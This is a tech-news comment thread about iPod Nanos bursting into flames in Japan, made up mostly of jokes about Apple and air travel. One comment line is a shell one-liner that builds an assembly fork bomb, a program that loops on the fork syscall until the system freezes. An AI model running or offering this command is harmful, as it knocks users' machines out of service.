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Japan Demands Probe of iPod Nano Flameouts
iminplaya sends in an item from TechNewsWorld that begins, "Several incidents of iPod Nanos bursting into flames have created consumer jitters in gadget-happy Japan. Apple is downplaying the problem, pointing out that no major injuries or damage have been reported. The problem is due to defective batteries, the company said, and only a tiny percentage of the devices have caught on fire." Japan has seen 14 such incidents so far, two in recent days. iminplaya adds, "I like that. Only a 'tiny percentage'... Is anybody beginning to understand why I would prefer that these devices not be allowed on airplanes?"
Only a tiny percentage of people have ever burst into flames. We shouldn't let them on airplanes either.
“Common sense is not so common.” — Voltaire
Apple is downplaying the problem, pointing out that no major injuries or damage have been reported.
Considering Apple's stance on mouse buttons they'd probably consider losing your right hand a "minor" injury.
for making such a hot product!
There, fixed that for ya.
The revolution will not be televised... but it will have a page on Wikipedia
I'm hoping the /. groupthink is too distracted to notice.
How big could the fires really be?
Yeah, that percentage is even smaller considering the fact that most people don't even glue their nanos to their face. Now if they could just get their R&D Department to find a way to make their nano ear buds spontaneously burst into flames, now that would certainly be something.
This is simply a marketing problem.... the new Apple "I-burn"... with crispy icons, and carbonized gestural interface.
It can light cigarettes! Start campfires! and get rid of that pesky leaf pile for you!
Plug one in, and light it up today!!!
The only problem is with all the scorch marks it will look like crap. Maybe they should call it the iSore instead?
Only a tiny percentage of planes burst into flames, too.
BAM! End a sentence with a preposition!
That's such a tiny percentage of the people from whom I took money.
How do you expect a judge to listen to you when you don't speak correctly!? Silly... :)
As bad as our education system is, do you expect that judge to necessarily notice the bad grammar that you mentioned? Oh wait, let me rephrase that in a way that our grammatically weak overlords will understand: Do you think judges will notice, our not good speakin'!
(excuse me answering my own question - I read some more of the article hehe)
"I am curious as to the mechanism by which they spontaneously combust"
Article says "Their batteries were short-circuiting and bursting into flame when microscopic metal particles came into contact with other parts"... so there we have it.
That's what they want you to think. The reality of the matter is that the reality distortion field, colliding with the common sense field, caused a tachyon burst that, coupled with remodulation, opened up a micro wormhole that resulted in the explosion. Oh wait, this isn't the writers meeting for the proposed new Star Trek series? Sorry, moving along.
Some LiPos are pretty sketchy - we've had a few in prototypes "pillow" (fill with gas), but no explosions yet. Definitely a no-no in medical devices, particularly implantables!
Some LiPo batteries have a special pillow deflating mechanism called LiPoSuction.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
True, but still, if there's a Nano that bursts into flames you'd hope there's a Zune nearby to squirt at it.
The first rule of slashdot is...
Forty-Two
It may surprise you to know that airlines regularly transport large quantities of flammable kerosene on their aircraft. Not only that, but they often deliberately set fire to it during the flight. That sounds really dangerous to me and I think it should be stopped.
All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
I think you'll find that all of the affected iPods were right at the end of their lifetimes
Well thank you, Captian Obvious. Of course they were at the end of their lifetimes, they are dead now!!
Perhaps you are infering that the self-destruct mechanism was meant to initialize at the end of the product's projected life-cycle.
"Poof! Time to buy a new one!(and of course because of the DRM, you will need to keep it in the Apple family)"
How amazed would you be to suddenly find that you just forgot what I wrote and you needed to reread my post.... again.